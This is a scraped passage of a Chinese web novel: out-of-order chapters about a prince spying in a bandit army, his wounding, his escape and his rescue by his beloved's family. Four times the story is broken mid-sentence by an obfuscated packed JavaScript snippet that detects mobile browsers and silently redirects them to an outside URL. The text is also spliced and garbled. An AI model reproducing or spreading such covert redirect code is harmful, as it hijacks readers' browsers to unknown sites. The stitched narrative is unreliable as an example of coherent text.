伙房的人是见了他就摇头,他碰到哪里,他们就赶忙阻止:求求了,大爷你歇着吧! 动脑的事儿他可行,动手的事儿他是一件都办不成啊! “伙房可是总舵主让我来的!”萧风岚苦着脸:“你们不让**,我良心过不去啊!” “没事没事!你帮忙尝菜,总不至于出错吧!” 这倒是,真没错过。 后厨热火朝天之时,忽然听到了大营那边的骚动。 萧风岚拿着筷子和小碟子,一边嚼东西一边问:“这是怎么了?” 便有人告诉他:“总舵主下令,赶紧将菜送到前方去,大家伙儿吃完饭,今夜过江疾袭!” 胶着依旧的战斗,终于要撕破一道口子了! 众人都是一凛,匆忙送菜。 萧风岚也放下了试菜的碗筷,偏头朝一旁的张四低语:“张哥,那咱们这些人能上战场吗?” “上什么上!”张四撇他一眼:“你想去送死吗?” “不想!”萧风岚果断摇头。 他眼里有活儿,见张四一大铲子一大铲子将菜盛入木盆里,赶忙上前:“我来帮忙。” 各人忙得热火朝天,锅里的菜也陆陆续续全部都被搬走了。 张四趁没人注意的时候,低语一句:“撤吗?” 萧风岚没有立即回答。 这一战若是成了,他就该撤了。 但—— 倘使这一战常家军赢了的话,他如果走了想要再回来就不容易了。 眼珠子一转,他的目光放在了一旁的油锅上。 “你留下。” 低语完,萧风岚果断朝那边走,大声问:“张哥,这油锅是不是得先收拾了?” “收吧!”张四应答。 然后,他就听见一声惨叫:“啊——” 一回头,就见热油泼在了那美少年的膝盖上! 张四大吼:“俞兄弟!” 第189章 他不能晕 常家军正在吃饭。 听说俞青被热油烫了,常利三两口把剩下的饭扒拉进嘴里,便急匆匆来到伙房大营中。 人还没进去呢,就听到鬼哭狼嚎:“呜呜呜……啊啊啊……疼死我了……你轻点儿啊……” 通铺上,大夫正在清理伤处。 常利脚步匆匆走过去,看到那触目惊心的伤口,心脏差点都停了。 “怎么弄的!” 大夫回答:“他没拿稳油锅,一瓢热油打洒了,淋在了膝盖上。油温太高,布料与腿皮黏在了一块儿,现在要把布料一点点撕开。” 常利自己是从小刀口舔血到如今的,见过的伤实在太多。 但! 他俞兄弟不是啊! 尽管俞青来了他们这里后,大伤小伤不断,但哪一次伤都没有这么可怕! 布料与皮肉黏在一起,想要敷药治伤,就必须扒开,相当于—— 扒掉一层皮! 此时,裤管已经被剪开了,就那膝盖上方一片黏住了,至少有巴掌大的一块。 四周也都是红肿。 为了避免他扑腾,他双手被捆在了床头,没受伤的那条腿也被捆在了床脚。 “老赵,你可千万要轻一点!” 没伤在自己身上,常利已经却觉得自己很疼。 毕竟,他俞兄弟细皮嫩肉的,遭了这样悲惨的烫伤,一层皮肉都已经烫熟了啊! 听着杀猪一般的哀嚎,他的手都是颤抖的了,不断叮嘱:“老赵,再轻点儿!就不能想个什么法子止痛吗?” 老赵很是无奈:“给他麻沸散了,但他这几个月麻沸散喝太多了,对他没什么用。只能生忍了,一次痛总好过以后这布料长在他腿上了,迟早也是要扒开的。” 常利不吭声了,见他俞兄弟实在疼得厉害,急得想骂人:“给他嘴巴咬个东西啊!一会儿把舌头咬破了怎么办!” 一旁的人赶忙去给俞青嘴里塞帕子。 塞住了,那鬼哭狼嚎也止住了。 但这血腥气却是散不去。 常利很想陪过命的兄弟治伤,但不多时,常胜也来了。 见到俞青膝盖上方那可怕的烫伤,拧眉道:“明知他做事容易闯祸,为何让他靠近油锅?” “意外如能提防,那就不叫意外了。”常利脸色极为难看。 还有了一点对大哥的埋怨:他就说要把俞兄弟送回淮明郡的,都是大哥要把俞青安排在伙房! 他甚至认为:如果是我挨的这种伤,兴许比俞兄弟能忍痛一些。 俞青年纪小,又是个书生,虽说以前羞辱没少吃,但这种伤以前肯定没挨过! 常胜叹了一口气,道:“送他回淮明郡。” 他一拍自己弟弟的肩膀,道:“走吧,第一批水鬼已经先行一步,我们也该出发了!” 他们要攻打长宁郡了,常利知道自己不能留在这里,只能吩咐:“等他伤口处理完了,送回郡城里面去,如有差池仔细你们的脑袋!” “知道了,副舵主!” 营地里谁不知俞兄弟是副舵主的心尖宠啊。 换个人干啥啥不行早被轰走了,可常利对他却是这么宽容、疼爱! 但,再怎么疼爱,常利也要带人去攻打长宁郡,他只得把俞青留下。 而俞青的伤处理好了后,便被用拉货的板车,连夜送他离开大营。 深夜无法进城,只能安置他住在城外的一个农家小院里——响马盗的一个接头处。 留了俩人,在这里照顾他。 深夜,重伤之人沉沉睡去,照看他的人也已经躺下了,小院静悄悄的。 萧风岚没有睡很久,听着守在外间堂屋的两道重重的打鼾声,悄悄起来。 他解开了包扎好的绷带,将一方干净帕子放在嘴里咬住,借着烛光,轻轻清理掉了老赵大夫上的药。 疼痛让他额头上青筋暴起,齿缝里难免挤出来闷哼声。 他尽量压低音量。 膝盖以上巴掌大的一块皮都被刮掉,痛得他浑身抽痛,鼻尖上都是汗。 但他忍住了,拿出喻初晴给他配的特效伤药,仔细敷了厚厚一层。 旋即拿干净的绷带,用力缠紧。 痛觉侵袭,他恨不能晕过去。 但他不能晕。 今夜的战况至关重要! 包扎好伤口,他又拿出另一瓶他家晴晴给的药丸子,一口气吞了两粒。 旋即,走出堂屋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703269|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每走一步,都跟踩在尖刀上一样疼痛,但喻初晴的药很好,尤其是药丸子是止痛的。 “咦,俞兄弟你要起夜……吗?啊!” 问话被刀锋的寒光斩断,鲜血迸射。 萧风岚一刀结果问话之人,下一刀扎进了另一个才被吵醒之人的心脏! 走出小院,他轻功离开这个村子,奔到驿站。 那里有早已备好的快马,他翻身上马,朝如今已经封锁的码头奔去。 夜袭,淮明大营出动了三波兵马。 第一批是水鬼,趁夜潜水渡江到对岸,杀长宁郡大营的岗哨,破除第一道防线。 第二批是战船,运送了王瑞鹏带领的一千先锋队伍,杀第一轮。 常利是第三批的领头。 常胜在后方压阵。 萧风岚赶到码头的时候,第一批水鬼已经得手,王瑞鹏的第二批已经登陆对岸了! 开战,让所有人精神高度紧张。 夜色中,萧风岚穿着常家军的同款战衣,悄然混进了兵马群中,跟着上了战船。 夏河两岸,火光冲天。 厮杀声震天。 常胜站在高处,看着对方的战况,王瑞鹏已经上岸了,信号旗在三十多丈开外挥舞。 而常利的第二批也已经渡江走到了一半。 将战船连在一起铺开江面,缩短了渡江的时间,果然是个妙招! 然—— 常家军预想不到的是:常利这第二批尚未登上对岸,战局忽然发生了反转! 他们被拦截了! 朝廷南征军的战船,与常利这一批在江面上交战。 常利挥舞着大刀杀敌,发现了诡异之处。 他的手下也发现了:“副舵主!他们根本就不跟咱们硬碰硬,而是奔着咱们后方去的!” 南征军训练有素,有人负责抢船**,而有一行人马则是—— 点燃了火光,对准了常家军的船链这边,射出了火箭! 这个时候,他们距离船链只有二十多丈,长弓一开,一支支火箭落在了船链上。 每一支火箭上都涂着沾了油的布条,落地便燃! 九月份的风,恰好是北风! 第190章 天塌了 风一吹,火光迅速将船链点燃,一路朝常家军大营的方向烧去。 见状,常胜下令:“灭火!” 此时不可能下令撤退,因为王瑞鹏已经在对岸,如果撤退就相当于放弃了他们。 而常利带着的主力军也在江面上,被火隔开了! 只能先灭火,让常利那边强攻。 常利看着大哥那边的信号旗,意思是让他们一鼓作气进攻。 他大喝:“他们不善水战,将他们拖下水里杀!” 两军交战,人命如草芥。 一颗颗人头滚落,宛如丰收的西瓜;断肢残臂,像是砍瓜剁菜;血腥气将江面染红,给夏河里的鱼带来了丰盛的食物…… 萧风岚隐藏在兵马中,悄然举起了一把长弓,对准了站在高处主持战局的常胜。 然!!! 他一万个没想到,自己这一箭还没射出去,一道刀风从他侧面砍来! 若这一刀砍下,他手臂就没了! 萧风岚被迫放弃射杀常胜,腰间软剑一出,凌厉的剑招顺着刀风劈回去! 动作大,他的腿伤自然痛得厉害,但他只能强忍。 “俞青,你果然是奸细!” “好高的剑招!” “总舵主有令,若俞青是细作,第一时间杀之!” 萧风岚一个回身,发现自己被六人包围了。 他暴露了! 其实他完全可以置身事外跑路的,却心大想要趁乱把常胜给射杀。 整个常家军,最有统领能力、懂兵法的就是常胜,一旦常胜**,后面的仗就很好打。 完全能达成喻初晴要的三个月内解决响马盗! 他心里着急,想要快些搞完。 搞完,就可以跟喻初晴回家、拜见岳父岳母、谈婚论嫁。 但,心急吃不了热豆腐! **自己什么时候露出马脚,让常胜盯上的。 现状就是: 他、得、跑! 萧风岚并不恋战,几招落下,杀出一个豁口、撕开一条血路。 他吹了一声口哨。 停留在外面的马飞奔闯入,他不顾腿伤疼痛一路飞掠,落在马背上。 身后传来愤怒的咒骂:“**王八羔子,别让他跑了!” “放箭!” “总舵主有令,拿下俞青的人头,赏银百两!” 萧风岚顾不上许多,伏低了身体,几乎是贴着马背,躲过了第一轮箭雨。 胯下的马脚步开始凌乱,速度也不正常。 他知道:马中箭了! 这时候,他唯一的生路就是顺着河流往下飞奔。 不能回淮明郡。 以他的能力,也不可能渡河游到对岸。 但,后方追兵不断射箭,胯下的马已经不行了,逼不得已,他翻身跳下了河里! “那小子跳河了,看不见了!” “不能让他跑了,咱们也下河!” 然,他们的计划破灭了—— 黑暗中,一支利箭射过来,将最先跳下河的那人射了个正着。 噗通一声,的确落水了。 但,也没命了! “谁!” “那小子有帮手!” “快,发送信号!” 一支冲天烟火往天上窜去,火光落在水面上。 只见一道红绸在水里搅动,卷起了一个人形的东西。 而数不清的黑点疾风朝几名追兵身上打来…… 短兵相接。 萧风岚没有晕过去。 不敢晕。 谁懂啊,本以为跳河求生,竟然被一道红绸席卷而来,把他卷成了粽子,抛上了岸! 他的身子砸落在马背上的同时,马上的人飞掠而起,窜向前方便开始虐杀追兵。 粽子一样的萧风岚眼睛都不敢眨—— 他自己安排的接应人,已经在路上逃散了。救了他的人,自然不会是自己人。 来的只有三人,一人一骑。 一名高大威猛,在黑夜之中像头黑熊,单手羽扇与追兵对招;一名身形瘦削,却似疾风一般凌厉的青年,飞身从马上掠起,手中弹出一粒粒黑点…… 萧风岚突然悟了! 那头熊,是喻昔词;黑点是佛珠,佛珠的主人自然就是,喻慕文! 那么,第三人呢? 在喻家兄弟一对四的时候,第三匹马调转过来,来到了粽子旁边。 人还没走近,萧风岚的呼吸便几乎要停止了。 “晴晴……” 马背上的纤细身影,手持弓箭的女子,不是喻初晴,又是谁呢? 见到她的这一瞬间,他眼眶一热,没能控制住眼泪哗啦啦掉:“晴晴!” 喻初晴可没有将他从另一匹马上拎过来的能力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708920|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她很放心大哥三哥的战力,下马过来,解开缠住萧风岚的红绸。 萧风岚顾不上腿疼,猛地抱住她,像是不会说话似的,只知道喊她的名:“晴晴!” “嗯。”似乎从他的话语里听到颤音,喻初晴拍了拍他的后背,道:“先上马。” 二人共乘一骑。 萧风岚在后面,搂着喻初晴,问:“要去帮大哥三哥吗?” “不用。”喻初晴没让他控缰绳,而是攥在自己手里,十分淡定:“你抢了他们的对手,他们会不高兴的。” 没想到自己会在这样的情景下,跟大舅子、三舅子见面,萧风岚忽然紧张起来:“他们……一会儿……我……” 喻初晴:“……” 算了,一会儿的事,一会儿再说。 六名追兵被击杀,不到一刻钟。 喻昔词与喻慕文的武功,萧风岚是第一次见,吃惊不已:“他们这么厉害……不比二哥差多少……” 上次喻慕文的佛珠暗器,他已经领教过了。 杀气贼重! 当时他赶紧跑了,没能探底。 现在看到了喻慕文狠辣的杀招,不由咽了咽口水:“晴晴,一会儿他们打我怎么办?” 喻初晴:“……” 唇角一抽,她无奈说道:“如果他们凶,你就装晕。剩下的交给我!” 稳若泰山。 萧风岚顿时好像找到了主心骨:“晴晴,你要保护我呀!” 喻初晴:“……” 真,能屈能伸! 杀了六人,喻家兄弟俩朝他们这边走过来。 双双目光落在萧风岚脸上。 虽说他在喻初晴身后,但他实在是很高,喻初晴不可能挡得住他的身形。 他们看到的是:喻初晴手挽马缰绳,萧风岚一大老爷们双手圈住喻初晴的腰,矮下身子靠在她身上! 第一印象:是不是男人? 第二印象:怎么这么小白脸? 第三印象:他能要点脸吗! “晴晴,让他下来!”喻慕文蹙眉。 喻初晴还没来得及说话,又听得他冰寒的声音:“十六皇叔、逍王殿下!请你……滚、下、来!” 喻昔词:“……” 天塌了。 喻慕文:“……” 天塌了。 萧风岚:“……” 天塌了! 第204章 喻家这些人实在是邪门 “好一招调虎离山之计!” 喻慕文冷笑,并没有慌乱。 对方六个人,个个膘肥体壮,而他们这边只有五个人:一个书生、一个半大小子,一个妙龄少女、两个武婢。 从表面上看,他们五人比对面的二人,都是比不过的! 完全没有赢面。 但,这五个人中,哪怕是年纪最小的那个,也没有半点慌张之色。 甚至,喻今歌脸上全都是兴奋的跃跃欲试! “姐,这一次有敌人分给我了吧?咱们五个,他们六个,还多出一个呐!” 听听,这是小孩能说得出来话吗! 关键,喻初晴还说了句:“行,那我那个也分给你,我就坐在这里看!” “好嘞!”喻今歌倏地站起来。 被看扁的几人勃然大怒,战斗一触即发! 喻今歌还没满十四岁,身量高,属于这个年纪男孩子抽条的身形,抽条瘦高瘦高的。 喻初晴见过他练武,他的武器很罕见。 是一条看上去跟小孩过家家似的铁索,三尺九寸长,上面像是蛇鳞一样的铁片包裹住,似鞭却又不是鞭。 这条铁索分量不轻,日常就缠在他的腰上,日日坠他的腰部以下的身体。 他不断与这重量抵抗,即便在每天的步行中都能得到锻炼。 从小在家里忙着做家务的围裙少年,这武器就是喻惊鸿给他量身定做的。 日练夜练,他的下盘极稳。 但,这不是喻今歌的最强天赋,他的天赋是—— 爆发力! 他站起来,便护在了喻初晴身前,道:“姐,看我给你露一手!” 腾云覆雨则是一左一右,护在喻初晴身侧。 喻初晴还真就不动了,坐在毛毯上,拿出一个橘子开始剥皮。 别人在生死搏斗,她在野餐的即视感! “王五,你来打这个臭小子,我去杀喻初晴!” “赵六,那边还有个书生!” “书生有什么好怕的,还没这小牛犊子看起来野蛮!” “依我看,咱们六个人打他们五个,显得有些胜之不武了。” 话音落,一条铁索砸到他面门,灵活如蛇一般,缠上了他的脖子。 铁制鳞片擦过,随着那力道收紧,竟让此人瞬间呼吸困难、面部发紫。 “臭小子……” 这人挥舞着长刀,要砍喻今歌的手臂。 为了保护自己的手臂,喻今歌不得不送开了钳制。 喻初晴依然坐在原地,默默看着,笑着说了句:“不到十招,拿下一血。小弟,你真厉害!” 就在对方不可置信的时候,那铁索笔直地刺入他的心脏! “噗!” 这名**如麻的刺客,喷出一口血舞,瞪大眼睛倒下了。 喻初晴笑了笑:“轻敌,乃兵家大忌。这是谁养出来的废物,主子难道不觉得丢脸吗?” 众人:“……” 她弟弟年纪小小,负责**,她则负责在一旁动嘴骂人? 一个脏字不带,叫人气得哇哇叫! 刺客领头的下令:“杀那个书生!” 五个人中,除了喻初晴一动不动,还有喻慕文。 腾云覆雨守在喻初晴的左右,一直在防守,一人分了一个刺客,打得不可开交。 而喻慕文则是守在喻初晴后方。 在树干的另一边。 他手里拎着一串一百零八颗的佛珠,一粒一粒捻过,不紧不慢。 若他不是个书生,而是个和尚的话,他们丝毫不怀疑:他下一瞬就要开始念经,道阿弥陀佛了! 柿子挑软的捏。 喻家这些人实在是邪门! 年纪最小的,**竟然这般利索。 姑娘家一个,面对血腥杀戮没有半点慌张,竟然还在那里剥橘子。 她一个橘子才刚刚剥完,她弟弟就杀了一人。 第一个死的,是轻敌的。 “接下来,我们不会放水了!” 面对刺客的放话,喻初晴这边没有一个人吭声。 他们不会轻敌,不会自傲。 但,也并不慌张。 两名刺客朝喻慕文杀过去,领头的大声道:“快点!别等喻尚武回来了!” 话音落,却见那满身儒雅的书生身形一动,左手的佛珠一甩,右手顺势扯断! 佛珠粒粒散落。 他袍袖一挥,将这些断线的佛珠拢住,再挥袖的时候,那些佛珠便犹如天女撒花一般,从四面八方朝这几名刺客的命门打来。 出手狠辣,速度迅猛,对准的都是要害! 刺客不得不后退,使出浑身解数要躲避这些佛珠。 但—— 在他们集中精力对付这些佛珠的时候,喻慕文突然抽出一把短剑。 其中一人被佛珠打中胸前大穴,下一瞬,那柄短剑便刺入了他的咽喉。 另一人躲得飞快。 快也没有用,喻慕文将短剑拔出,一个旋身,书生儒袍翻出优美风雅的弧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708921|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度。 下一瞬,他左手洒出七八颗佛珠,堵**这人的所有退路。 在这人负隅抵抗之际,一剑**这人的心口! 十数招,杀二人。 六名刺客,**一半。 剩下两人跟两个武婢对打,还有个领头的跟喻今歌缠斗。 领头这个手上功夫还不错,不轻敌后,战斗经验不太多的喻今歌打起来有些吃力。 但这小子很灵活,对方想杀他,也讨不着好。 喻初晴掰了一瓣橘子放进嘴里,旋即皱眉:“这么酸!” 一抬手,朝面前扔去。 刚好,替喻今歌挡了一次攻击。 她不算什么武功高手,但准头还不错。 那领头的刺客还以为是什么暗器,被迫收回看向喻今歌的刀势,反手一砍! 橘子的汁液飞溅! 发现是橘子,他大怒:“欺人太甚!” 但,喻今歌的铁索已经顺势抽中了他的小腿! 灵蛇一般的铁索在他小腿上转了个圈,抽得他生疼。 喻今歌猛力一抽,想把对方抽倒在地上。 这头领的确有点厉害,喻今歌这一招没能成,他追击上去。 喻慕文完成了自己的KPI后,袍袖一收拢,所有掉落在地上的佛珠宛如被磁铁吸引了一样,回到了他袖中。 不多时,一串佛珠回到了他的左手上,盘了三圈。 而那柄见了血的短剑,不知道被他藏到哪里去了! 他看了一眼左边。 腾云与那刺客不知道对了多少招,没杀死对方,但—— 还不如杀死呢! 对方身上至少中了她四剑,一身的血污。 看样子,腾云是打算抓活口。 再看右边,覆雨的招式没有腾云那么轻灵,显得狠辣得多。 在喻慕文看过来的时候,覆雨一个飞身掠起,横劈一剑。 刺客后退,覆雨剑势上前一挑。刺客狼狈侧闪,不想覆雨这一招竟然是虚晃一招,她挽了个漂亮的剑花,拐弯一剑刺入刺客的腹部。 拔剑的时候顺势飞起一脚,将刺客踹飞。 刺客吃痛后,便失去了攻击力,被踹地上后狼狈翻滚逃窜。 “想跑?” 覆雨冷哼,飞身上前一阵操作猛如虎,在刺客一顿惨叫后—— 喻慕文发现:刺客的手筋脚筋,都被覆雨挑断了! 他妹妹养着的这两名武婢,十分了得! 最后,只剩下领头的刺客。 第192章 我给你当外室,也要爱你 喻昔词才道:“洗漱更衣,有伤的先处理伤口。天已经亮了,歇息上午,等晌午再说。” 喻初晴怕喻尚武和喻今歌担心:“二哥和小弟那边……” “放心。”尽管喻昔词对妹妹找了这么个对象,很是不满,但身为长兄的本能,他不会因为这一点,而对自己的妹妹有什么态度上的改变。 他说道:“来之前我已经安排好了,今夜这一战,响马盗吃了大亏。南征军人多一个反扑,今日之内肯定能渡河占领淮明郡。” 喻慕文也道:“晴晴,你安心歇息吧。” “嗯。”喻初晴这才放心一些,抬手拉住萧风岚便道:“那我先带他去休息。” 喻昔词额上青筋一跳。 “晴晴,折腾一晚上你也累了。”喻慕文捏着佛珠,力道极大,若真的是普通的菩提珠,必定要被他捏爆。 他忍了又忍,道:“他受伤了,我们不会对他如何。你去歇息,三哥会给他疗伤。” 喻初晴抿唇笑了笑。 不是不信哥哥,而是—— “不用了三哥,我有话要跟他说。” 不容拒绝地握着萧风岚的手,说什么也不会把他丢下。 萧风岚心里感动万分。 他跳河落水,一身的潮湿,即便是纵马在路上已经吹了个半干,但这一夜的奔忙,还是非常狼狈。 脸上还有被刀风划破的伤口,一身的血腥气。 他家晴晴坚定不移护着自己,他很是感动,但男人总不能一味地站在女人背后等着她护。 再这么来,大舅子三舅子更要看不起他了。 他捏了捏喻初晴的手,松开了拱手朝二人行了个大礼:“二位,容我先给晴晴交代后,再来向你们正式见礼。” 喻昔词冷淡地道:“免了,身为王爷、还是皇叔,你这般大礼,我等平民消受不起。” 说完甩袖离去。 萧风岚:“……” 喻慕文更是没瞧他一眼,只对喻初晴道:“晴晴,好好休息。” 也转身走了。 佛珠在他掌心,攥得咔咔咔响。 喻初晴:“……” 萧风岚:“……” 他深深吸了一口气,为自己的未卜前途忧心忡忡。 喻初晴倒是面色如常,拉住他的手,道:“走吧。” 山庄的下人在前方带路,两人牵着手往前走。 没有紧迫盯人的舅子在,萧风岚才敢恢复常态说话:“晴晴,你怎么这么冷静?” “早有预料。”喻初晴的回答依旧淡定:“早就知道他们会对你是这样的态度,甚至已经比我设想的要好了。” 知道他们不愿意姓萧的太久了,她早有预判。 并且盘算过,带他回家的时候,要如何面对一家人的震惊与反对。 办法总比苦难多,更何况这是自己的亲人,没半点可怕的。 萧风岚拧眉:“我还以为他们会直接砍我呢!” “不会。”喻初晴手拿把掐地道:“首先,哥哥疼爱我这个妹妹;其次,我这个妹妹是失而复得的;第三,你好歹也是个卧底英雄。” 她可是五代单传的姑娘,从喻家人的日常态度,她早就看出来自己有多金贵。 在这件事上,她必须恃宠而骄。 “也是。”萧风岚忍耐着疼,或者说,在她面前他的注意力全部放在她身上,对疼的感知要弱了一些。 加上疼麻木了,也就那样。 “大小姐。”丫鬟领着他们进入一个很敞亮的院子里,道:“这是您的院子,这位公子……” 喻初晴知道喻昔词肯定要安排萧风岚住得离自己很远,为了预防自己要跑很多路去见萧风岚,她果断打断了丫鬟的话:“他跟我住,你让人收拾一个厢房给他就行。” 丫鬟一愣:“可大公子说……” “我的事,我做主。即便大哥来了,也是如此。”喻初晴给了她一个眼神。 丫鬟心里咯噔一下,听了:“是,大小姐!” 大小姐虽然从未来过这里,但这强势的作风当真是……比之大公子,有过之而无不及! 威势压人。 她老老实实按喻初晴说的,带人去给萧风岚收拾房间。 另外,沐浴用水、干净衣裳也都准备好了。 “晴晴你先去沐浴更衣。”萧风岚坐下后,才感觉到一阵疼痛钻进刺骨,差点要忍不住呻吟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713906|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但在喻初晴面前,他还是尽可能隐忍。 喻初晴懒得理他说什么,道:“你跟我来。” 直接将人带到净室这边,让丫鬟们退下,便朝萧风岚伸手。 萧风岚下意识往后退,护住自己的腰带:“干什么?不会这样着急吧?晴晴,让你哥哥知道,怕是要打断我的腿!” “信不信我给你一掌!”喻初晴横眉冷竖。 仿佛在说:你看我有心情跟你开玩笑吗? 躲不过去了,萧风岚已老实。 “好嘛,我自己来,不用辛苦晴晴。” 他自己宽衣解带,很快身上只穿着一层内衬。 见到他原本光滑平坦的肌肤上,那些新伤旧疤,喻初晴有一瞬间呼吸都缓慢了。 她问:“还有新伤口在哪里?腿上?” 这一身的血腥气,还有这一路过来她观察发现,他伤势应是不轻。 但身上只有一些小豁口,并不严重。像他脸上的那道小创口一样,上点药养几天就能好。 那么,重伤必定是在腿上了! 在她锐利、充斥着压迫感的眼神下,萧风岚老老实实把裤子也给脱了。 看到他左腿膝盖上方缠满了绷带,血水都已经渗出来了,喻初晴深深吸了一口气。 “我用了你给我的药。”萧风岚赶忙据实以告:“出来的时候,我也服了你给的止痛药,效果很好的。别担心,没什么大事!” 喻初晴在他面前蹲下,给他解开绷带。 太沉默,萧风岚心里好慌:“晴晴,你别不说话,我害怕。” 喻初晴仰头瞪了他一眼,“你现在应该干什么,心里没点数?” 萧风岚:“……” 好凶啊晴晴。 但怎么办,更爱了! 在他心里,喻初晴冷脸的时候最漂亮,有一种高贵冷艳的气势,是无论皮相长得多漂亮的女人都比不了的! 明明应该交代这伤的由来,他却脱口而出:“晴晴,我好爱你。” 喻初晴一愣,抬头看他。 萧风岚冲她笑得甜蜜蜜:“哪怕你哥不让我们成亲,我给你当外室,也要爱你!” 喻初晴:“……” 第193章 眼泪是男人最好的嫁妆 没有人不喜欢听好听话。 甜言蜜语,喻初晴也爱听。 但听归听,她不会被他迷惑:“别以为说这些话,就能略过问题不谈。赶紧说,这伤怎么来的?” 萧风岚没忍住笑了,缓缓说道:“本以为我可以离开大营,再仪容潜伏进响马盗里,暗杀常胜。不想,我竟是无意中引起了他的怀疑。” 经过昨夜的事,他也想明白了:“常利要送我走,常胜却把我放去了伙房,让人一直盯着我。” “你一向警觉,竟不知道有人盯着你?”喻初晴看着他膝盖上血肉模糊的伤口,满脸的郁气。 她转身,去拿丫鬟方才送来的药囊。 过河之前她就准备好了不少外伤用药,以及内服消炎药之类的。 不等他回答,她又道:“你这伤口今天折腾太过了,我得给你重新清洗创口之后,才上新药。很疼,你忍着点。” 各种药瓶摆在小几上,她倒出两粒止痛药送他嘴边:“先吃,止痛。” “嗯。”萧风岚也不知为何,看着她在身前为自己的伤忙碌,一瞬间鼻子就酸了。 喻初晴拿出自己提炼出来的类似于碘伏的瓶子,还有干净的棉花,一点一点地给他清创。 萧风岚很能忍疼,也忍不住不断抽气。 喻初晴仰头,见他眼圈红通通,眼角甚至挂着泪,不由蹙眉:“疼你就喊,哭什么?” 不得不说,眼泪是男人最好的嫁妆。 尤其是他长得这般精致的脸,脸上还有伤,战损美人! 这样的一张脸,还带着残泪。 别提多叫她心动了! 若这个男人不是她的,她也要抢到手。既然他已经是她的了,她难免想多疼疼他。 “止痛药已经吃了,一会儿就起效,你再咬牙忍忍。” 话是这么说,却拿出了一根自己做的棒棒糖,塞进他嘴里:“吃这个。” 她做的棒棒糖,都是用一些补药炼制的小零嘴。 自己不爱吃,是先前给萧淼淼和薛涵做的,但日常自己也会带一点在药囊里,以备不时之需。 嘴里甜滋滋的,虽然有中药味,但萧风岚还是觉得心田被蜜糖灌溉过了,满满的都是甜蜜泡泡。 “晴晴,你对我真好。” 喻初晴唇角一抽,懒得理他,继续给他清创。 看着比她巴掌还宽的创面,血肉模糊,皮都没有了,她心头的郁气又冒出来了。 “怎么弄的,继续说!” 萧风岚一边舔着棒棒糖,一边道:“昨天知道要开战了,我见无法脱身,便故意用热油泼在腿上,借机离开大营。打算趁乱再潜入,箭杀常胜。” “不料,我不知自己已经暴露了,箭杀失败。自己也被追杀了。” “晴晴,幸亏遇见你。” 如果没有喻初晴前来救他,他不确定自己跳河之后还能不能有活命。 他会水,但不是很强,何况腿上还有伤。 当时他内心是绝望的,完全不敢想太多,只想活命—— “我当时心里只有一个念头:晴晴还在等我,我一定要活着回去见你。” “不曾想,没一会儿,我就见到你了!” 说到这里,他好似忘记了疼痛,看着她脸上都是笑意:“晴晴,你就是我的神!真的,从天而降,那一瞬间我觉得我拿命爱你都不够!” 喻初晴给他的伤处敷上药粉,道:“大哥三哥救了你。” 虽然,如果没有喻昔词喻慕文,她也会带渔樵二人、腾云覆雨一起渡河的。 但,事实就是喻昔词喻慕文救了他。 “嗯!”萧风岚颔首:“晌午时候,我去跪谢他们!” “跪就免了。”喻初晴唇角一抽:“怎么说你也是堂堂的皇叔!” 萧风岚不以为意地道:“那怎么一样?救命之恩大过天,再生父母,怎么就跪不得了?” 喻初晴懒得跟他掰扯。 天地君亲师。 君在亲前! 不过—— 萧家人在喻家人面前,似乎跪也跪得? 算了,随他吧! 她很快给他敷好了药,拿出干净的绷带给他把创面缠住。 弄好后,才道:“以后我不想再看你把自己弄这种样子!” “男人身上多点疤,没啥?”萧风岚疼是疼得要命,脸都白了,但不妨碍他逞能。 喻初晴白了他一眼:“有碍观瞻,我喜欢完美的,不喜欢有瑕疵的!” 萧风岚笑容一僵。 整个人都不好了:“晴晴,你嫌弃我了是不是?” 又来了! 喻初晴深深吸了一口气,伸手撸了撸他的头,道:“很累了,别闹。你身上伤口多,我给你简单擦一擦,一会儿先去睡一觉。” “你陪我一块儿睡么?”萧风岚知道见好就收。 